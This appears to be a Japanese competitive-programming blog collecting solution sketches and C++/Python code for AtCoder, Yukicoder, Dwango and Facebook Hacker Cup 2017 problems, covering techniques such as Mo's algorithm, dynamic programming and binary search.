#include <iostream>
#include <cmath>
#include <functional>
#include <random>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using namespace std;

int binsearch(int l, int r, function<bool (int)> p) { // [l, r), p is monotone
    assert (l < r);
    -- l; -- r; // (l, r]
    while (l + 1 < r) {
        int m = (l + r) / 2;
        // (p(m) ? r : l) = m;
        bool it = p(m) ;
        assert ((it ? r : l) != m);
        (it ? r : l) = m;
    }
    return r; // = min { x | p(x) }
}
const int L = 1000001;
const int R =  100000;
const int l = R * sqrt(2) - 3;
bool query(int y, int x) {
    cout << x << ' ' << y << endl;
    cout.flush();
    string s; cin >> s;
    if (s == "found") exit(0);
    if (s == "close") return true;
    if (s == "far")   return false;
    assert (false);
}
pair<int,int> find_close() {
    default_random_engine gen((random_device()()));
    uniform_int_distribution<int> dist(- R/20, 0);
    for (int y = dist(gen); y < L; y += l) {
        for (int x = dist(gen); x < L; x += l) {
            if (query(y + l/2, x + l/2)) {
                return { y + l/2, x + l/2 };
            }
        }
    }
    assert (false);
}
int main() {
    int y, x; tie(y, x) = find_close();
    repeat (i,20) {
        if (query(y, x+R/10)) {
            x += R/10;
        } else {
            if (query(y+R/10, x)) {
                y += R/10;
            } else if (query(y-R/10, x)) {
                y -= R/10;
            } else {
                break;
            }
        }
    }
    int y1 = binsearch(y, y+2*R+1, [&](int y) { return not query(y, x); });
    int y2 = binsearch(y-2*R, y+1, [&](int y) { return     query(y, x); });
    int dy = y1 - y2;
    int dx = sqrt(pow(R, 2) - pow(dy/2.0, 2));
    repeat_from (i, -1, 1+1) {
        repeat_from (j, -5, 5+1) {
            for (int pm : { +1, -1 }) {
                query((y1 + y2) / 2 + i, x + pm*dx + j);
            }
        }
    }
    return 1;
}

第3回 ドワンゴからの挑戦状 本選: B - ニワンゴくんの約数

,

http://dwacon2017-honsen.contest.atcoder.jp/tasks/dwango2017final_b

solution

小さい素数は個別に累積和して$O((N+Q) \pi(\sqrt{\max x_i}))$、ただし$\pi(x)$は$x$以下の素数の数で$\pi(x) \sim \frac{x}{\log x}$。 大きい素数にMo’s algorithmして$O((N+Q)\sqrt{N})$。 合わせて展開すると$O(N+Q)(\sqrt{N} + \frac{\sqrt{\max x_i}}{\log{\max x_i}})$。

単純には$x_i$をそれぞれ素因数分解して指数部を足し合わせればよく、$O((N+Q)\pi(\max x_i))$。これは$10^5$の$2$乗ぐらいなのでかなり厳しい。

素数の種類数$\pi(\max x_i)$を計算量から落としたい。 そこで素数をその大きさ、特に$\sqrt{\max x_i}$との大小で分類することを考える。 これより小さい素数は$\pi(\sqrt{\max x_i})$個なので$O((N+Q) \pi(\sqrt{\max x_i}))$で処理してしまえる。 また、これより大きい素数はそれぞれの$x_i$の中に高々$1$種類しか現れえない。 与えられた区間$[l,r)$中の大きい素数を集計する操作が高速にできればよく、区間$[l,r)$の結果から$[l \pm 1,r)$や$[l,r \pm 1)$の結果を作るのは大きい素数が$1$種類だけなので$O(1)$、よってMo’s algorithmを使って全体で$O((N+Q)\sqrt{N})$で処理できる。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#include <numeric>
#include <map>
#include <cmath>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }

ll powmod(ll x, ll y, ll p) { // O(log y)
    assert (y >= 0);
    x %= p; if (x < 0) x += p;
    ll z = 1;
    for (ll i = 1; i <= y; i <<= 1) {
        if (y & i) z = z * x % p;
        x = x * x % p;
    }
    return z;
}
ll inv(ll x, ll p) { // p must be a prime, O(log p)
    assert ((x % p + p) % p != 0);
    return powmod(x, p-2, p);
}
vector<int> sieve_of_eratosthenes(int n) { // enumerate primes in [2,n] with O(n log log n)
    vector<bool> is_prime(n+1, true);
    is_prime[0] = is_prime[1] = false;
    for (int i = 2; i*i <= n; ++i)
        if (is_prime[i])
            for (int k = i+i; k <= n; k += i)
                is_prime[k] = false;
    vector<int> primes;
    for (int i = 2; i <= n; ++i)
        if (is_prime[i])
            primes.push_back(i);
    return primes;
}
map<int,int> prime_factrorize(int n, vector<int> const & primes) {
    map<int,int> result;
    for (int p : primes) {
        if (n < p * p) break;
        while (n % p == 0) {
            result[p] += 1;
            n /= p;
        }
    }
    if (n != 1) result[n] += 1;
    return result;
}

const int mod = 1e9+7;
int main() {
    // input
    int n, q; cin >> n >> q;
    vector<int> x(n); repeat (i,n) cin >> x[i];
    vector<int> l(q), r(q); repeat (i,q) { cin >> l[i] >> r[i]; -- l[i]; } // [l, r)
    // prepare factors
    int max_x = *whole(max_element, x);
    int sqrt_max_x = sqrt(max_x) + 3;
    vector<map<int,int> > f(n); repeat (i,n) f[i] = prime_factrorize(x[i], sieve_of_eratosthenes(sqrt_max_x));
    vector<int> primes;
    map<int,int> count;
    repeat (i,n) {
        for (auto it : f[i]) {
            int p, cnt; tie(p, cnt) = it;
            primes.push_back(p);
            count[p] += cnt;
        }
    }
    whole(sort, primes);
    primes.erase(whole(unique, primes), primes.end());
    map<int,int> index; repeat (i,primes.size()) index[primes[i]] = i;
    int small_p_size = 0; while (small_p_size < primes.size() and primes[small_p_size] < sqrt_max_x) ++ small_p_size;
    vector<vector<int> > small_acc = vectors(small_p_size, n+1, int());
    vector<int> unique_acc(n+1);
    vector<int> large_prime(n, -1);
    repeat (j,n) {
        for (auto it : f[j]) {
            int p, cnt; tie(p, cnt) = it;
            int i = index[p];
            if (i < small_p_size) {
                small_acc[i][j+1] += cnt;
            } else if (count[p] == 1) {
                unique_acc[j+1] += 1;
            } else {
                assert (cnt == 1);
                assert (large_prime[j] == -1);
                large_prime[j] = i - small_p_size;
            }
        }
    }
    repeat (i,small_p_size) repeat (j,n) small_acc[i][j+1] += small_acc[i][j];
    repeat (j,n) unique_acc[j+1] += unique_acc[j];
    // Mo's algorithm
    int sqrt_n = sqrt(n);
    vector<int> ixs(q);
    whole(iota, ixs, 0);
    whole(sort, ixs, [&](int i, int j) {
        return make_pair(l[i] / sqrt_n, r[i]) < make_pair(l[j] / sqrt_n, r[j]);
    });
    vector<int> ans(q);
    int l_cur = 0, r_cur = 0; // [l, r)
    vector<int> large_count(primes.size() - small_p_size);
    int large_acc = 1;
    vector<int> inv_table(n+3); repeat (i,inv_table.size()) inv_table[i] = i ? inv(i, mod) : 0;
    auto modify = [&](int i, int delta) {
        if (i == -1) return;
        assert (1 + large_count[i] < inv_table.size());
        large_acc = large_acc *(ll) inv_table[1 + large_count[i]] % mod;
        large_count[i] += delta;
        large_acc = large_acc *(ll) (1 + large_count[i]) % mod;
    };
    for (int i : ixs) {
        while (l[i] < l_cur) modify(large_prime[-- l_cur], + 1);
        while (r_cur < r[i]) modify(large_prime[r_cur ++], + 1);
        while (l_cur < l[i]) modify(large_prime[l_cur ++], - 1);
        while (r[i] < r_cur) modify(large_prime[-- r_cur], - 1);
        int acc = 1;
        acc = acc *(ll) large_acc % mod;
        acc = acc *(ll) powmod(2, unique_acc[r_cur] - unique_acc[l_cur], mod) % mod;
        repeat (i,small_p_size) acc = acc *(ll) (1 + small_acc[i][r_cur] - small_acc[i][l_cur]) % mod;
        ans[i] = acc;
    }
    // output
    repeat (i,q) cout << ans[i] << endl;
    return 0;
}

Facebook Hacker Cup 2017 Round 1: Manic Moving

,

https://www.facebook.com/hackercup/problem/1800890323482794/

solution

DP。 $i$人載せて$j$人降ろして町$k$に居るときのコストの最小値を$\mathrm{dp}(i,j,k)$にする。 状態の表現が面倒なので再帰関数で書いた方がよい。 $O(N^3 + K)$。

implementation

#include <iostream>
#include <vector>
#include <map>
#include <functional>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
template <class T> void setmin(T & a, T const & b) { if (b < a) a = b; }
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }
const ll inf = ll(1e18)+9;
ll solve(int n, vector<vector<pair<int,int> > > const & g, vector<pair<int,int> > const & q) {
    vector<vector<ll> > dist = vectors(n, n, inf); { // warshall-floyd
        repeat (i,n) {
            setmin<ll>(dist[i][i], 0);
            for (auto it : g[i]) {
                int j, cost; tie(j, cost) = it;
                setmin<ll>(dist[i][j], cost);
            }
        }
        repeat (k,n) repeat (i,n) repeat (j,n) setmin(dist[i][j], dist[i][k] + dist[k][j]);
    }
    for (auto it : q) {
        int s, d; tie(s, d) = it;
        if (dist[0][s] == inf or dist[0][d] == inf) return -1;
    }
    map<tuple<int,int,int>,ll> memo;
    function<ll (int,int,int)> dp = [&](int i, int j, int x) {
        if (j == q.size()) return 0ll;
        tuple<int,int,int> key = { i, j, x };
        if (not memo.count(key)) {
            ll result = inf;
            if (i < q.size() and i+1 - j <= 2) { int y = q[i].first;  setmin(result, dist[x][y] + dp(i+1, j, y)); }
            if (j+1 <= i)                      { int y = q[j].second; setmin(result, dist[x][y] + dp(i, j+1, y)); }
            memo[key] = result;
        }
        return memo[key];
    };
    return dp(0, 0, 0);
}
int main() {
    int t; cin >> t;
    repeat (i,t) {
        int n, m, k; cin >> n >> m >> k;
        vector<vector<pair<int,int> > > g(n);
        while (m --) {
            int a, b, gas; cin >> a >> b >> gas; -- a; -- b;
            g[a].emplace_back(b, gas);
            g[b].emplace_back(a, gas);
        }
        vector<pair<int,int> > q(k);
        repeat (i,k) {
            int s, d; cin >> s >> d; -- s; -- d;
            q[i] = { s, d };
        }
        cout << "Case #" << i+1 << ": " << solve(n, g, q) << endl;
    }
    return 0;
}

Facebook Hacker Cup 2017 Round 1: Fighting the Zombies

,

https://www.facebook.com/hackercup/problem/235709883547573/

これ好き。

problem

無限に広い平面上に点が$N$個ある。整数$R$が与えられる。以下の操作を順に行なうとき、得点を最大化せよ。

  1. 中心と半径を実数値で任意に定め円を決める。さらに移動量を実数値で任意に決め、その円内の点を指定しただけまとめてずらす。
  2. 軸平行な$R \times R$の区間を決める。その区間中の点の数が得点。

solution

定めるのは円であるが、十分大きな円を考え、半直線を引いて片側をまとめて選択してよい。 これにより、$R \times R$の区間を好きに$2$個選んでその和集合内の点の数を得点としてよいことが導ける。$O(N^3)$。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#include <set>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
template <class T> void setmax(T & a, T const & b) { if (a < b) a = b; }
bool is_on_field(int y, int x, int h, int w) { return 0 <= y and y < h and 0 <= x and x < w; }
int solve(int n, ll r, vector<ll> const & y, vector<ll> const & x) {
    assert (n <= sizeof(uint64_t)*8);
    set<ll> uniq_y(y.begin(), y.end());
    set<ll> uniq_x(x.begin(), x.end());
    vector<uint64_t> rects;
    for (ll ay : uniq_y) {
        for (ll ax : uniq_x) {
            repeat (dir,4) {
                ll by = ay - (dir & 2 ? r : 0);
                ll bx = ax - (dir & 1 ? r : 0);
                uint64_t rect = 0;
                repeat (i,n) {
                    if (is_on_field(y[i] - by, x[i] - bx, r+1, r+1)) {
                        rect |= 1ll << i;
                    }
                }
                rects.push_back(rect);
            }
        }
    }
    whole(sort, rects);
    rects.erase(whole(unique, rects), rects.end());
    for (int i = 0; i < rects.size(); ++ i) {
        bool is_subset = false;
        repeat (j,rects.size()) if (j != i) {
            if ((rects[i] | rects[j]) == rects[j]) {
                is_subset = true;
                break;
            }
        }
        if (is_subset) {
            rects[i] = rects.back();
            rects.pop_back();
            -- i;
        }
    }
    int result = 0;
    for (uint64_t s : rects) {
        for (uint64_t t : rects) {
            setmax(result, __builtin_popcountll(s | t));
        }
    }
    return result;
}
int main() {
    int t; cin >> t;
    repeat (i,t) {
        int n; ll r; cin >> n >> r;
        vector<ll> x(n), y(n);
        repeat (i,n) cin >> x[i] >> y[i];
        cout << "Case #" << i+1 << ": " << solve(n, r, y, x) << endl;
    }
    return 0;
}

Facebook Hacker Cup 2017 Round 1: Pie Progress

,

https://www.facebook.com/hackercup/problem/1800890323482794/

solution

DP。$i$日目までで既に$j \ge i$個パイを買ってるときの費用の最小値を$f(i,j)$とする。パイは安い方から貪欲に買う。$O(N^2M)$。

implementation

#include <iostream>
#include <vector>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
#define whole(f,x,...) ([&](decltype((x)) whole) { return (f)(begin(whole), end(whole), ## __VA_ARGS__); })(x)
using ll = long long;
using namespace std;
template <class T> void setmin(T & a, T const & b) { if (b < a) a = b; }
template <typename X, typename T> auto vectors(X x, T a) { return vector<T>(x, a); }
template <typename X, typename Y, typename Z, typename... Zs> auto vectors(X x, Y y, Z z, Zs... zs) { auto cont = vectors(y, z, zs...); return vector<decltype(cont)>(x, cont); }
const int inf = 1e9+7;
int solve(int n, int m, vector<vector<int> > & c) {
    repeat (i,n) whole(sort, c[i]);
    vector<vector<int> > dp = vectors(n+1, n+1, inf);
    dp[0][0] = 0;
    repeat (i,n) {
        repeat_from (j,i,n+1) {
            int acc = 0;
            repeat (k,min(m+1,n-j+1)) {
                setmin(dp[i+1][j+k], dp[i][j] + acc + k*k);
                if (k < m) acc += c[i][k];
            }
        }
    }
    return dp[n][n];
}
int main() {
    int t; cin >> t;
    repeat (i,t) {
        int n, m; cin >> n >> m;
        vector<vector<int> > c = vectors(n, m, int());
        repeat (i,n) repeat (j,m) cin >> c[i][j];
        cout << "Case #" << i+1 << ": " << solve(n, m, c) << endl;
    }
    return 0;
}

Yukicoder No.475 最終日 - Writerの怠慢

,

http://yukicoder.me/problems/no/475

solution

順位を高い方からしゃくとりっぽく。$O(N)$。

順位$r$を取っても自分より得点が大きくならない参加者の数$f® = |{ i \ne \mathrm{writer_id} | \land a_i + \mathrm{score}_S® \le a_{\mathrm{writer_id}} + \mathrm{score}_S(1) }|$とする。 この関数$f$は広義単調増加である。よって$r$を増やしながら都度$f®$を更新すれば、$f$のグラフ$f \subset N \times N$は$O(N)$で求まる。

ある$1, 2, \dots, r-1$位まで決めてまだ自分より得点が大きい参加者がいないとき、まだ使われていない参加者は$n-r$人いて、そのうち$f®-r+1$人が$r$位を取ってもよい参加者。 確率にして$\frac{f®-r+1}{n-r}$。 これを掛け合わせればよい。優勝可能(つまり常に$f®-r+1 \ge 1$)とすると$\mathrm{ans} = \prod_{1 \le r \le n-1} \frac{f®-r+1}{n-r}$。

implementation

#!/usr/bin/env python3
n, s, writer_id = map(int, input().split())
a = list(map(int, input().split()))

score = lambda r: 50 * s + 250 * s // (4 + r)
self = a[writer_id] + score(1)
del a[writer_id]
a.sort()

p = 1.0
i = 0
for r in range(1, n):
    while i < len(a) and a[i] + score(r) <= self:
        i += 1
    p *= max(0, i-(r-1)) / (n-1 - (r-1))
print('%.12f' % p)

AtCoder Regular Contest 067: F - Yakiniku Restaurants

,

http://arc067.contest.atcoder.jp/tasks/arc067_d

だめ。こういうのを通せると気持ちいいんだけどなあ。

solution

$O(N^2M)$で間に合う。clangの自動vector化とかが効いてるらしい。 gccも#pragmaを書けばしてくれるが、clangより遅い。

implementation

#include <cstdio>
#include <algorithm>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;

int n, m;
int a[5003];
ll a_acc[5003];
int b[5003][203];
int b_best[203];
int main() {
    scanf("%d%d", &n, &m);
    repeat (i,n-1) scanf("%d", &a[i]);
    repeat (i,n-1) a_acc[i+1] = a_acc[i] + a[i];
    repeat (i,n) repeat (j,m) scanf("%d", &b[i][j]);
    ll ans = 0;
    repeat (l,n) {
        repeat (j,m) b_best[j] = 0;
        ll b_acc = 0;
        repeat_from (r,l,n) { // [l,r]
            repeat (j,m) {
                if (b_best[j] < b[r][j]) {
                    b_acc += - b_best[j] + b[r][j];
                    b_best[j] = b[r][j];
                }
            }
            ans = max(ans, b_acc - (a_acc[r] - a_acc[l]));
        }
    }
    printf("%lld\n", ans);
    return 0;
}

AtCoder Regular Contest 067: E - Grouping

,

http://arc067.contest.atcoder.jp/tasks/arc067_c

提出したらsampleだけTLEでそれ以外がACし、AtCoderの点数付けの性質により、TLEだが満点になった。

後でgccでなくclangで提出しなおしたら速くなってきちんとACした。以前はgccの方が速いと知られていたはずだが、いつの間にか逆転したのだろうか。

solution

DP。グループの大きさを$i$まで見て合計$j$人使ったときの場合の数$\mathrm{dp}(i,j)$を計算する。 次に使うグループの大きさが$x$でこれを$y$グループ使うとすると、$xy \le N$が成り立つことから計算量が落ちる。$O(N^2\log N)$。

implementation

#include <iostream>
#include <vector>
#include <cassert>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
#define repeat_from(i,m,n) for (int i = (m); (i) < int(n); ++(i))
using ll = long long;
using namespace std;
const int mod = 1e9+7;

ll powmod(ll x, ll y) { // O(log y)
    assert (y >= 0);
    x %= mod; if (x < 0) x += mod;
    ll z = 1;
    for (ll i = 1; i <= y; i <<= 1) {
        if (y & i) z = z *(ll) x % mod;
        x = x *(ll) x % mod;
    }
    return z;
}
ll inv(ll x) { // p must be a prime, O(log p)
    assert ((x % mod + mod) % mod != 0);
    return powmod(x, mod-2);
}
ll fact(ll n) {
    static vector<ll> memo(1,1);
    if (memo.size() <= n) {
        ll l = memo.size();
        memo.resize(n+1);
        repeat_from (i,l,n+1) memo[i] = memo[i-1] *(ll) i % mod;
    }
    return memo[n];
}
ll choose(ll n, ll r) { // O(n) at first time, otherwise O(1)
    if (n < r) return 0;
    r = min(r, n - r);
    return fact(n) *(ll) inv(fact(n-r)) % mod *(ll) inv(fact(r)) % mod;
}

int main() {
    ll n, a, b, c, d; cin >> n >> a >> b >> c >> d;
    vector<ll> cur(n+1), prv;
    cur[0] = 1;
    repeat_from (size,a,b+1) {
        prv = cur;
        repeat_from (count,c,d+1) {
            ll k = fact(size*count) *(ll) inv(powmod(fact(size), count)) % mod * inv(fact(count)) % mod;
            repeat (i,n) if (i + size*count < n+1 and prv[i]) {
                cur[i + size*count] += prv[i] *(ll) choose(n-i, size*count) % mod * k % mod;
            }
        }
        repeat (i,n+1) cur[i] %= mod;
    }
    cout << cur[n] << endl;
    return 0;
}

AtCoder Regular Contest 067: D - Walk and Teleport

,

http://arc067.contest.atcoder.jp/tasks/arc067_b

実装結果が短くて驚く。

solution

テレポートは東に$1$つ分しかしないとしてよい。$O(N)$。

西へ向かって歩くことがあるかと考えると、東へ大きくテレポートして戻ってくるとき。 そうした場合、西へ歩き終わった後再度東へ大きくテレポートする。 これは西へ向かって歩く部分の歩く向きを反転させてよく、常に東へ歩くようにできる。必然的にテレポートの距離は$1$。

implementation

#include <iostream>
#include <vector>
#define repeat(i,n) for (int i = 0; (i) < int(n); ++(i))
using ll = long long;
using namespace std;
int main() {
    int n, a, b; cin >> n >> a >> b;
    vector<int> x(n); repeat (i,n) cin >> x[i];
    ll acc = 0;
    repeat (i,n-1) acc += min<ll>(b, a *(ll) (x[i+1] - x[i]));
    cout << acc << endl;
    return 0;
}